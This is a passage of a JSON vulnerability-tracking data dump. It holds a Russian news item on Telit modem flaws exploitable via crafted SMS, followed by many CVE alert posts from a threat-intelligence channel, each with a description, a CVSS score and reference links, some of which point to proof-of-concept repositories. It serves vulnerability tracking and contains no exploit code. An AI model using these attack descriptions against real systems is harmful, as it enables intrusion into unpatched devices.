\u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2023-47610 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.1), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 (Heap Overflow), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Secure User Plane Location (SUPL).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 SMS, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-47610 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0434\u0435\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0444\u043b\u044d\u0448-\u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043c\u043e\u0434\u0435\u043c\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlets \u2014 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0425\u043e\u0442\u044f Telit \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \u0412 Kaspersky ICS CERT \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0437-\u0437\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 SMS \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 APN (Access Point Name). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 MIDlets \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-14T07:38:24.000000Z"}, {"uuid": "494a99d8-e1c6-4001-a038-a38ff2c9bf74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47004", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13907", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47004\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Buffer Overflow vulnerability in Redis RedisGraph v.2.x through v.2.12.8 and fixed in v.2.12.9 allows an attacker to execute arbitrary code via the code logic after valid authentication.\n\ud83d\udccf Published: 2023-11-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-29T20:02:13.424Z\n\ud83d\udd17 References:\n1. https://github.com/RedisGraph/RedisGraph/issues/3178", "creation_timestamp": "2025-04-29T20:12:26.000000Z"}, {"uuid": "7335ac7c-5fc8-4dc4-acc5-bb346ef68ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47640", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/540", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47640\n\ud83d\udd39 Description: DataHub is an open-source metadata platform. The HMAC signature for DataHub Frontend sessions was being signed using a SHA-1 HMAC with the frontend secret key. SHA1 with a 10 byte key can be brute forced using sufficient resources (i.e. state level actors with large computational capabilities). DataHub Frontend was utilizing the Play LegacyCookiesModule with default settings which utilizes a SHA1 HMAC for signing. This is compounded by using a shorter key length than recommended by default for the signing key for the randomized secret value. An authenticated attacker (or attacker who has otherwise obtained a session token) could crack the signing key for DataHub and obtain escalated privileges by generating a privileged session cookie. Due to key length being a part of the risk, deployments should update to the latest helm chart and rotate their session signing secret. All deployments using the default helm chart configurations for generating the Play secret key used for signing are affected by this vulnerability. Version 0.11.1 resolves this vulnerability. All users are advised to upgrade. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2023-11-14T20:55:02.080Z\n\ud83d\udccf Modified: 2025-01-07T19:13:55.393Z\n\ud83d\udd17 References:\n1. https://github.com/datahub-project/datahub/security/advisories/GHSA-fg9x-wvqw-6gmw", "creation_timestamp": "2025-01-07T19:39:32.000000Z"}, {"uuid": "6402e68a-fcba-45a2-85f0-9ad3fb6de789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47609", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/749", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47609\n\ud83d\udd39 Description: SQL injection vulnerability in OSS Calendar versions prior to v.2.0.3 allows a remote authenticated attacker to execute arbitrary code or obtain and/or alter the information stored in the database by sending a specially crafted request.\n\ud83d\udccf Published: 2023-11-14T05:12:19.484Z\n\ud83d\udccf Modified: 2025-01-08T16:44:16.361Z\n\ud83d\udd17 References:\n1. https://oss-calendar.com/news/20231113/\n2. https://jvn.jp/en/jp/JVN67822421/", "creation_timestamp": "2025-01-08T17:18:09.000000Z"}, {"uuid": "ecdd41a1-e85b-433d-b30f-8de404b1af92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47795", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3296", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47795\n\ud83d\udd25 CVSS Score: 9.7 (CVSS_V3)\n\ud83d\udd39 Description: Stored cross-site scripting (XSS) vulnerability in the Document and Media widget in Liferay Portal 7.4.3.18 through 7.4.3.101, and Liferay DXP 2023.Q3 before patch 6, and 7.4 update 18 through 92 allows remote authenticated users to inject arbitrary web script or HTML via a crafted payload injected into a document's \u201cTitle\u201d text field.\n\ud83d\udccf Published: 2024-02-21T15:30:45Z\n\ud83d\udccf Modified: 2025-01-28T22:23:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-47795\n2. https://github.com/liferay/liferay-portal\n3. https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-47795", "creation_timestamp": "2025-01-28T23:09:41.000000Z"}, {"uuid": "255818e3-8328-4466-ac73-096d03e71e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47634", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4480", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47634\n\ud83d\udd25 CVSS Score: 3.0 (CVSS_V3)\n\ud83d\udd39 Description: ### Impact\n\nA race condition in the endorsement of resources (for instance, a proposal) allows a user to make more than once endorsement.\n\nTo exploit this vulnerability, the request to set an endorsement must be sent several times in parallel.\n \n### Workarounds\n\nDisable the Endorsement feature in the components.\n\ud83d\udccf Published: 2024-02-20T18:02:52Z\n\ud83d\udccf Modified: 2025-02-14T18:35:17Z\n\ud83d\udd17 References:\n1. https://github.com/decidim/decidim/security/advisories/GHSA-r275-j57c-7mf2\n2. https://nvd.nist.gov/vuln/detail/CVE-2023-47634\n3. https://github.com/decidim/decidim/commit/5c5ee7a50d75c10643dd8c495e2517641e4d74db\n4. https://github.com/decidim/decidim/commit/7b840d2c37a562709f4481db644d8c43add28536\n5. https://github.com/decidim/decidim\n6. https://github.com/decidim/decidim/releases/tag/v0.26.9\n7. https://github.com/decidim/decidim/releases/tag/v0.27.5\n8. https://github.com/decidim/decidim/releases/tag/v0.28.0\n9. https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim/CVE-2023-47634.yml", "creation_timestamp": "2025-02-14T19:16:17.000000Z"}, {"uuid": "b466b9ca-a6c0-47b0-82a5-9bd79cb625ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8023", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47539\n\ud83d\udd25 CVSS Score: 9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:X/RC:X)\n\ud83d\udd39 Description: An improper access control vulnerability in FortiMail version 7.4.0 configured with RADIUS authentication and remote_wildcard enabled may allow a remote unauthenticated attacker to bypass admin login via a crafted HTTP request.\n\ud83d\udccf Published: 2025-03-18T13:56:56.681Z\n\ud83d\udccf Modified: 2025-03-19T03:55:48.590Z\n\ud83d\udd17 References:\n1. https://fortiguard.com/psirt/FG-IR-23-439", "creation_timestamp": "2025-03-19T04:48:53.000000Z"}, {"uuid": "51138298-867d-4e08-914c-32700c329c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12308", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47216\n\ud83d\udd25 CVSS Score: 2.9 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: \nin OpenHarmony v3.2.2 and prior versions allow a local attacker cause DOS through occupy all resources\n\n\n\ud83d\udccf Published: 2024-01-02T07:23:02.954Z\n\ud83d\udccf Modified: 2025-04-17T18:48:52.277Z\n\ud83d\udd17 References:\n1. https://gitee.com/openharmony/security/blob/master/zh/security-disclosure/2024/2024-01.md", "creation_timestamp": "2025-04-17T18:57:45.000000Z"}, {"uuid": "9b655d68-56a4-4c85-8645-91239cb65008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47562", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15417", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47562\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: An OS command injection vulnerability has been reported to affect Photo Station. If exploited, the vulnerability could allow authenticated users to execute commands via a network.\n\nWe have already fixed the vulnerability in the following version:\nPhoto Station 6.4.2 ( 2023/12/15 ) and later\n\n\ud83d\udccf Published: 2024-02-02T16:05:48.610Z\n\ud83d\udccf Modified: 2025-05-07T20:07:46.277Z\n\ud83d\udd17 References:\n1. https://www.qnap.com/en/security-advisory/qsa-24-08", "creation_timestamp": "2025-05-07T20:22:59.000000Z"}, {"uuid": "57dc427b-28e1-4e0d-ad45-4193989b2d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47029", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19620", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47029\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR Terminal Handler v.1.5.1 allows a remote attacker to execute arbitrary code and obtain sensitive information via a crafted POST request to the UserService component\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-26T15:08:53.266Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1oX5uKnWGiYMaBxnBuqPiOA53XLxv1Ef4/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-47029/CVE-2023-47029.md", "creation_timestamp": "2025-06-26T15:52:47.000000Z"}, {"uuid": "450a737c-b146-4b16-9ce6-7b13c59b46ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47294", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19617", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47294\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR Terminal Handler v1.5.1 allows low-level privileged authenticated attackers to arbitrarily deactivate, lock, and delete user accounts via a crafted session cookie.\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-26T15:11:39.439Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1owG3_2oVpoCb34Mb7nCYZNrjW8cFxpzN/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-47294/CVE-2023-47294.md", "creation_timestamp": "2025-06-26T15:52:44.000000Z"}, {"uuid": "c86b0516-9cbb-49a7-8796-a7cb47f13bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15792", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47209\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A post authentication command injection vulnerability exists in the ipsec policy functionality of Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\ud83d\udccf Published: 2024-02-06T16:20:14.973Z\n\ud83d\udccf Modified: 2025-05-09T16:25:32.088Z\n\ud83d\udd17 References:\n1. https://talosintelligence.com/vulnerability_reports/TALOS-2023-1854", "creation_timestamp": "2025-05-09T17:25:58.000000Z"}, {"uuid": "cf0f5755-b252-43e5-a9fe-b674f52bfcaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47996", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16377", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47996\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An integer overflow vulnerability in Exif.cpp::jpeg_read_exif_dir in FreeImage 3.18.0 allows attackers to obtain information and cause a denial of service.\n\ud83d\udccf Published: 2024-01-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-14T19:13:44.642Z\n\ud83d\udd17 References:\n1. https://github.com/thelastede/FreeImage-cve-poc/tree/master/CVE-2023-47996", "creation_timestamp": "2025-05-14T19:33:00.000000Z"}, {"uuid": "90d41290-9ecc-4bd8-9333-b6877c7ecbfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47100", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19948", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47100\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In Perl before 5.38.2, S_parse_uniprop_string in regcomp.c can write to unallocated space because a property name associated with a \\p{...} regular expression construct is mishandled. The earliest affected version is 5.30.0.\n\ud83d\udccf Published: 2023-12-02T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-30T16:17:21.753Z\n\ud83d\udd17 References:\n1. https://github.com/Perl/perl5/commit/ff1f9f59360afeebd6f75ca1502f5c3ebf077da3\n2. https://github.com/Perl/perl5/commit/7047915eef37fccd93e7cd985c29fe6be54650b6\n3. https://github.com/Perl/perl5/commit/12c313ce49b36160a7ca2e9b07ad5bd92ee4a010", "creation_timestamp": "2025-06-30T17:07:34.000000Z"}, {"uuid": "5f8c19ec-7b16-4e99-aa54-de57df0df66f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47466", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17294", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47466\n\ud83d\udd25 CVSS Score: 2.9 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: TagLib before 2.0 allows a segmentation violation and application crash during tag writing via a crafted WAV file in which an id3 chunk is the only valid chunk.\n\ud83d\udccf Published: 2025-05-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T14:20:27.793Z\n\ud83d\udd17 References:\n1. https://github.com/taglib/taglib/issues/1163\n2. https://github.com/taglib/taglib/pull/1164\n3. https://github.com/taglib/taglib/compare/v1.13.1...v2.0\n4. https://github.com/taglib/taglib/commit/dfa33bec0806cbb45785accb8cc6c2048a7d40cf", "creation_timestamp": "2025-05-22T14:44:22.000000Z"}, {"uuid": "78326ade-8bc8-454f-834a-ee063c322985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4709", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17609", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4709\n\ud83d\udd25 CVSS Score: 2.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in TOTVS RM 12.1. Affected is an unknown function of the file Login.aspx of the component Portal. The manipulation of the argument VIEWSTATE leads to cross site scripting. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. It is possible to mitigate the problem by applying the configuration setting . It is recommended to change the configuration settings. The vendor was initially contacted early about this disclosure but did not respond in any way. In a later statement he explains, that \"the behavior described [...] 